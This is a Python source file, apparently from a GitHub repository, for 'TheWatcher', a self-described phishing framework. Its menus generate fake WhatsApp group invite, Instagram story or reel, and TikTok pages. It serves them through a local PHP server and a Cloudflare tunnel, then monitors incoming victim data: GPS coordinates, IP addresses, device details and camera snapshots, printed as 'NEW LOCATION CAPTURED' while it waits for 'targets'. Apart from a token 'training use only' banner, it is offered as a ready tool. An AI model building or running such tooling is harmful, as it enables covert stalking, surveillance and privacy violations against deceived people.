-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy paththewatcher.py
More file actions
389 lines (341 loc) Β· 19.2 KB
/
Copy paththewatcher.py
File metadata and controls
389 lines (341 loc) Β· 19.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
#!/usr/bin/env python3
import os
import sys
import time
import json
import subprocess
import threading
import re
import socket
class Colors:
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
CYAN = '\033[96m'
WHITE = '\033[97m'
GRAY = '\033[90m'
BOLD = '\033[1m'
END = '\033[0m'
def clear():
os.system('clear' if os.name == 'posix' else 'cls')
def banner():
clear()
print(Colors.RED + Colors.BOLD + """
βββββββββ βββ ββ ββββββ β ββ βββ βββββββββ ββββββ βββ ββ ββββββ ββββββ
β βββ ββββββ βββββ β βββ β βββββββββ β βββ ββββββ ββ ββββ βββββ β βββ β βββ
β ββββ ββββββββββββββ βββ β ββ βββ βββ β ββββ βββββ β ββββββββββββ βββ βββ β
β ββββ β βββ βββ βββ β βββ β ββ ββββββββββ ββββ β ββββ βββββββ βββ βββ β βββββββ
ββββ β βββββββββββββββ ββββββββ ββ ββββ ββββ β β βββββ ββββββββββββββββββββ ββββ
β ββ β βββββββ ββ β β βββ β ββ ββββ β ββ β ββ β β β βββββββ ββ ββ ββ ββββ
β β βββ β β β β β β β β ββ β β β β β βββ β β β β ββ β ββ
β β ββ β β β β β β β β β ββ β β ββ β
β β β β β β β β β β β β β β β β
~EvilmaxSec | Tz~
""" + Colors.END)
print(Colors.RED + Colors.BOLD + """
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β TheWatcher Advanced Phishing Framework β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
""" + Colors.END)
print(Colors.GRAY + "ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ")
print("β " + Colors.WHITE + "Author: " + Colors.RED + "EvilmaxSec" + Colors.GRAY + " β")
print("β " + Colors.WHITE + "GitHub: " + Colors.GRAY + "https://github.com/EvilmaxSec" + Colors.GRAY + " β")
print("β " + Colors.RED + "β AUTHORIZED TRAINING USE ONLY β " + Colors.GRAY + " β")
print("ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ" + Colors.END)
print("")
def print_menu(title, options):
print("\n" + Colors.CYAN + Colors.BOLD + "βββββββββββββββββββββββββββββββββββββββββββββββββββ" + Colors.END)
print(Colors.CYAN + Colors.BOLD + "β " + title.ljust(35) + Colors.CYAN + Colors.BOLD + " β" + Colors.END)
print(Colors.CYAN + Colors.BOLD + "βββββββββββββββββββββββββββββββββββββββββββββββββββ€" + Colors.END)
for key, value in options.items():
print(Colors.CYAN + Colors.BOLD + "β" + Colors.END + " " + Colors.RED + "[" + key + "]" + Colors.END + " " + Colors.WHITE + value.ljust(39) + Colors.CYAN + Colors.BOLD + " β" + Colors.END)
print(Colors.CYAN + Colors.BOLD + "βββββββββββββββββββββββββββββββββββββββββββββββββββ" + Colors.END)
def print_success(msg):
print(" " + Colors.GREEN + "β" + Colors.END + " " + Colors.WHITE + msg + Colors.END)
def print_error(msg):
print(" " + Colors.RED + "β" + Colors.END + " " + Colors.WHITE + msg + Colors.END)
def print_info(msg):
print(" " + Colors.BLUE + "βΉ" + Colors.END + " " + Colors.WHITE + msg + Colors.END)
def print_warning(msg):
print(" " + Colors.YELLOW + "β " + Colors.END + " " + Colors.WHITE + msg + Colors.END)
def get_input(prompt, default=""):
if default:
val = input(" " + Colors.RED + "β" + Colors.END + " " + Colors.WHITE + prompt + Colors.GRAY + " [" + default + "]:" + Colors.END + " ")
return val if val else default
return input(" " + Colors.RED + "β" + Colors.END + " " + Colors.WHITE + prompt + ":" + Colors.END + " ")
def get_number(prompt, min_val, max_val):
while True:
try:
val = int(get_input(prompt))
if min_val <= val <= max_val:
return val
print_error(f"Enter {min_val}-{max_val}")
except ValueError:
print_error("Enter a number")
def get_local_ip():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
ip = s.getsockname()[0]
s.close()
return ip
except:
return "127.0.0.1"
def check_command(cmd):
try:
subprocess.run([cmd, "--version"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
return True
except FileNotFoundError:
return False
def get_image_source(prompt_type):
print("\n " + Colors.CYAN + "πΈ " + prompt_type + Colors.END)
print(" " + Colors.GRAY + "[1] Use image URL" + Colors.END)
print(" " + Colors.GRAY + "[2] Use local image file" + Colors.END)
choice = get_input("Choose option", "1")
if choice == "1":
return get_input("Enter image URL", "https://images.unsplash.com/photo-1534528741775-53994a69daeb?w=120&h=120&fit=crop")
else:
while True:
path = get_input("Enter local image path")
if os.path.exists(path) and os.path.isfile(path):
return path
print_error(f"File not found: {path}")
retry = get_input("Try again? (y/n)", "y")
if retry.lower() != 'y':
return "https://images.unsplash.com/photo-1534528741775-53994a69daeb?w=120&h=120&fit=crop"
def get_video_source():
print("\n " + Colors.CYAN + "π¬ Video Source" + Colors.END)
print(" " + Colors.GRAY + "[1] Use video URL" + Colors.END)
print(" " + Colors.GRAY + "[2] Use local video file" + Colors.END)
choice = get_input("Choose option", "1")
if choice == "1":
return get_input("Enter video URL", "https://storage.googleapis.com/gtv-videos-bucket/sample/ForBiggerBlazes.mp4")
else:
while True:
path = get_input("Enter local video path")
if os.path.exists(path) and os.path.isfile(path):
return path
print_error(f"File not found: {path}")
retry = get_input("Try again? (y/n)", "y")
if retry.lower() != 'y':
return "https://storage.googleapis.com/gtv-videos-bucket/sample/ForBiggerBlazes.mp4"
def clear_old_data():
if os.path.exists('data'):
for f in os.listdir('data'):
try:
os.unlink(os.path.join('data', f))
except:
pass
else:
os.makedirs('data', exist_ok=True)
def monitor_data(stop_event):
processed = set()
while not stop_event.is_set():
time.sleep(1)
if os.path.exists('data'):
current = set(os.listdir('data'))
new_files = current - processed
for f in new_files:
if f.endswith('.json'):
try:
with open(os.path.join('data', f), 'r') as file:
data = json.load(file)
if 'coordinates' in data and data['coordinates'].get('latitude'):
print("\n" + Colors.GREEN + Colors.BOLD + "="*70 + Colors.END)
print(Colors.GREEN + Colors.BOLD + "π NEW LOCATION CAPTURED!" + Colors.END)
print(Colors.GREEN + Colors.BOLD + "="*70 + Colors.END)
print(" " + Colors.YELLOW + "Time:" + Colors.END + " " + str(data.get('timestamp')))
print(" " + Colors.YELLOW + "IP:" + Colors.END + " " + str(data.get('ip_address')))
print(" " + Colors.YELLOW + "GPS:" + Colors.END + " " + str(data['coordinates']['latitude']) + ", " + str(data['coordinates']['longitude']))
print(" " + Colors.YELLOW + "Device:" + Colors.END + " " + str(data['device']['device']) + " | OS: " + str(data['device']['os']))
print(Colors.GREEN + Colors.BOLD + "="*70 + Colors.END + "\n")
except:
pass
elif f.endswith('.jpg'):
size = os.path.getsize(os.path.join('data', f)) // 1024
print("\n" + Colors.GREEN + Colors.BOLD + "="*70 + Colors.END)
print(Colors.GREEN + Colors.BOLD + "πΈ NEW CAMERA IMAGE!" + Colors.END)
print(Colors.GREEN + Colors.BOLD + "="*70 + Colors.END)
print(" " + Colors.YELLOW + "File:" + Colors.END + " " + f + " (" + str(size) + "KB)")
print(Colors.GREEN + Colors.BOLD + "="*70 + Colors.END + "\n")
processed = current
class TheWatcher:
def __init__(self):
self.monitor_thread = None
self.php_process = None
self.stop_monitor = threading.Event()
def run_server(self, port, html):
clear_old_data()
os.makedirs('templates', exist_ok=True)
with open('templates/current.html', 'w', encoding='utf-8') as f:
f.write(html)
print_info(f"Starting PHP server on port {port}...")
if not check_command("php"):
print_error("PHP not installed")
sys.exit(1)
self.stop_monitor.clear()
self.monitor_thread = threading.Thread(target=monitor_data, args=(self.stop_monitor,), daemon=True)
self.monitor_thread.start()
self.php_process = subprocess.Popen(
["php", "-S", f"0.0.0.0:{port}", "server.php"],
stderr=subprocess.PIPE,
stdout=subprocess.DEVNULL,
text=True,
bufsize=1
)
def read_stderr():
for line in iter(self.php_process.stderr.readline, ''):
if line.strip():
if "Accepted" in line or "Closing" in line or "Development Server" in line:
continue
print(line.strip())
threading.Thread(target=read_stderr, daemon=True).start()
time.sleep(2)
from modules.cloudflare import CloudflareTunnel
cf = CloudflareTunnel()
url = cf.start(port)
local_ip = get_local_ip()
print("\n" + Colors.CYAN + Colors.BOLD + "="*60 + Colors.END)
print(Colors.CYAN + Colors.BOLD + "π SHAREABLE LINKS" + Colors.END)
print(Colors.CYAN + Colors.BOLD + "="*60 + Colors.END)
if url:
print_success(f"Cloudflare: {Colors.YELLOW}{url}{Colors.END}")
print_success(f"Local: http://localhost:{port}")
print_success(f"Network: http://{local_ip}:{port}")
print("\n" + Colors.GREEN + Colors.BOLD + "ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ" + Colors.END)
print(Colors.GREEN + Colors.BOLD + "β π TheWatcher Active! β" + Colors.END)
print(Colors.GREEN + Colors.BOLD + "β π‘ Waiting for targets... β" + Colors.END)
print(Colors.GREEN + Colors.BOLD + "β π΄ Press Ctrl+C to stop β" + Colors.END)
print(Colors.GREEN + Colors.BOLD + "ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ" + Colors.END + "\n")
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print_warning("\nStopping server...")
self.stop_monitor.set()
if self.php_process:
self.php_process.terminate()
cf.stop()
def location_menu(self):
print("\n" + Colors.BLUE + Colors.BOLD + "π LOCATION TRACKING" + Colors.END)
print(Colors.GRAY + "β"*50 + Colors.END)
print_menu("SELECT TEMPLATE", {
"1": "WhatsApp Group Invite",
"2": "Instagram Story",
"3": "TikTok Video"
})
choice = get_number("Choose", 1, 3)
from modules.templates import TemplateManager
if choice == 1:
name = get_input("Group name", "Security Group")
image = get_image_source("Group Image")
members = get_input("Members", "128")
html = TemplateManager.get_whatsapp_location(name, image, members)
port = get_number("Port (8080)", 1, 65535)
self.run_server(port, html)
elif choice == 2:
username = get_input("Username", "instagram")
verified = get_input("Verified? (y/n)", "n").lower() == 'y'
profile = get_image_source("Profile Image")
video = get_video_source()
views = get_input("Views", "1.2M")
likes = get_input("Likes", "125K")
caption = get_input("Caption", "Check out my story!")
html = TemplateManager.get_instagram_story_custom(username, verified, profile, video, views, likes, caption)
port = get_number("Port (8080)", 1, 65535)
self.run_server(port, html)
elif choice == 3:
username = get_input("Username", "tiktok")
verified = get_input("Verified? (y/n)", "n").lower() == 'y'
profile = get_image_source("Profile Image")
video = get_video_source()
views = get_input("Views", "1.2M")
likes = get_input("Likes", "125K")
comments = get_input("Comments", "12.5K")
shares = get_input("Shares", "5.2K")
caption = get_input("Caption", "Check this out!")
html = TemplateManager.get_tiktok_video_custom(username, verified, profile, video, views, likes, comments, shares, caption)
port = get_number("Port (8080)", 1, 65535)
self.run_server(port, html)
def camera_menu(self):
print("\n" + Colors.BLUE + Colors.BOLD + "πΈ CAMERA ACCESS" + Colors.END)
print(Colors.GRAY + "β"*50 + Colors.END)
print_menu("SELECT TEMPLATE", {
"1": "Instagram Reel",
"2": "TikTok Video"
})
choice = get_number("Choose", 1, 2)
from modules.templates import TemplateManager
if choice == 1:
username = get_input("Username", "instagram")
verified = get_input("Verified? (y/n)", "n").lower() == 'y'
profile = get_image_source("Profile Image")
video = get_video_source()
likes = get_input("Likes", "1.2M")
comments = get_input("Comments", "12.5K")
shares = get_input("Shares", "5.2K")
caption = get_input("Caption", "Amazing content!")
html = TemplateManager.get_instagram_camera(username, verified, profile, video, likes, comments, shares, caption)
port = get_number("Port (8080)", 1, 65535)
self.run_server(port, html)
elif choice == 2:
username = get_input("Username", "tiktok")
verified = get_input("Verified? (y/n)", "n").lower() == 'y'
profile = get_image_source("Profile Image")
video = get_video_source()
likes = get_input("Likes", "1.2M")
comments = get_input("Comments", "12.5K")
shares = get_input("Shares", "5.2K")
caption = get_input("Caption", "Check this out!")
html = TemplateManager.get_tiktok_camera(username, verified, profile, video, likes, comments, shares, caption)
port = get_number("Port (8080)", 1, 65535)
self.run_server(port, html)
def view_data(self):
print("\n" + Colors.BLUE + Colors.BOLD + "π COLLECTED DATA" + Colors.END)
print(Colors.GRAY + "β"*50 + Colors.END)
if not os.path.exists('data') or not os.listdir('data'):
print_warning("No data yet")
input("\n Press Enter...")
return
for f in os.listdir('data'):
if f.endswith('.json'):
try:
with open(os.path.join('data', f), 'r') as file:
data = json.load(file)
print("\n " + Colors.GREEN + "π " + f + Colors.END)
print(" " + Colors.YELLOW + "Time:" + Colors.END + " " + str(data.get('timestamp')))
print(" " + Colors.YELLOW + "IP:" + Colors.END + " " + str(data.get('ip_address')))
if 'coordinates' in data:
print(" " + Colors.YELLOW + "GPS:" + Colors.END + " " + str(data['coordinates'].get('latitude')) + ", " + str(data['coordinates'].get('longitude')))
except:
pass
elif f.endswith('.jpg'):
size = os.path.getsize(os.path.join('data', f)) // 1024
print("\n " + Colors.GREEN + "πΈ " + f + Colors.END + " (" + str(size) + "KB)")
input("\n Press Enter...")
def main(self):
while True:
banner()
print_menu("MAIN MENU", {
"1": "π Track Location",
"2": "πΈ Access Camera",
"3": "π View Data",
"4": "πͺ Exit"
})
choice = get_input("\nSelect", "1")
if choice == '1':
self.location_menu()
elif choice == '2':
self.camera_menu()
elif choice == '3':
self.view_data()
elif choice == '4':
print_success("Goodbye!")
sys.exit(0)
else:
print_error("Invalid")
time.sleep(1)
if __name__ == "__main__":
watcher = TheWatcher()
watcher.main()